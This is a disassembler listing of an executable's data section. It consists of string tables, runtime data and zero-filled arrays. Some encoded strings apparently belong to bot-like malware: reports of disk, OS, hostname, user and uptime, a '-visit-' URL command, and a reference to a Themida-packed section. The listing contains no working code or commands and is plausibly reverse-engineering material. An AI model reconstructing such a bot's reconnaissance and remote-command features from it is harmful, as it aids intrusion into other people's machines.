		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A13C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A170	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A1B4	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A1B8	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A1BC	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A1C4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A204	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A230	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A24C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A288	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A2A4	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A2B0	dd 8FF7AB76h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A2C0	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A2CC	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2D8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2DC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2F0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2F4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A300	dd offset off_43A300	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A304	dd offset off_43A300	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A318
		dd offset dword_43A318
dword_43A310	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A318	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A308o
					; ___:0043A30Co
off_43C320	dd offset off_43A300	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C324	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C328	dd offset word_43C332	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C32C	dd offset word_43C332	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C332	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C328o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C534	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C538	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C540	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C544	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C548	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C550	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C554	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C560	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C640	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C644	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C7A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C7B0	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C7B8	dd 14h			; DATA XREF: sub_421624+2o
off_43C7BC	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C29Ch, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C890	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C8A0	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C8B8	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C8C4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8D0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8D4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8D8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8DC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8E0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8E4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8F4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8F8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8FC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C970	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C974	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C978	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C97C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C980	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C988	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C98C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43384Ch
		dd 0FFh, 427960h
off_43CA18	dd offset dword_4DB5E0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5E0
		dd 101h
dword_43CA28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA38	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA58	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA88	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC98	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CCA0	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CCA8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CCC0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCD8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCDC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCE0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCE4	dd offset dword_545350	; DATA XREF: ___:off_43CD64o
		dd 0Fh dup(0)
off_43CD24	dd offset dword_544450	; DATA XREF: ___:off_43CD68o
		dd 0Fh dup(0)
off_43CD64	dd offset off_43CCE4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD68	dd offset off_43CD24	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD70	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD74	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD78	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD80	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD84	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD88	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD8C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CDBC	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CDC0	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDF8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF58	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D0B4	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D0CC	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0EC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D10C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D130	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D150	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D158	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D160	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D178	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCE0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEE0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEE4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEE8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEEC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEF0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEF4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEF8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43DEFC	dd 1E15h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043378Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A78o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384E8o
		dd 3F3Dh dup(0)
		db 0
byte_467139	db 3 dup(0)		; DATA XREF: Themida_:00557453o
dword_46713C	dd 13842h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438354o
dword_4B5248	dd 56A6h dup(0)
dword_4CACE0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACE4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACE8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACEC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD6C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CADAC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE3C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE40	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE50	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE54	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE58	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE5C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE90	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAEC0	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAECC	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAED8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEE0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEE4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAEFC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAF08	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAF10	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAF14	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAF18	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAF28	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAF2C	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF50	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF58	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF5C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF74	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF80	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF8C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAFA4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAFB4	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
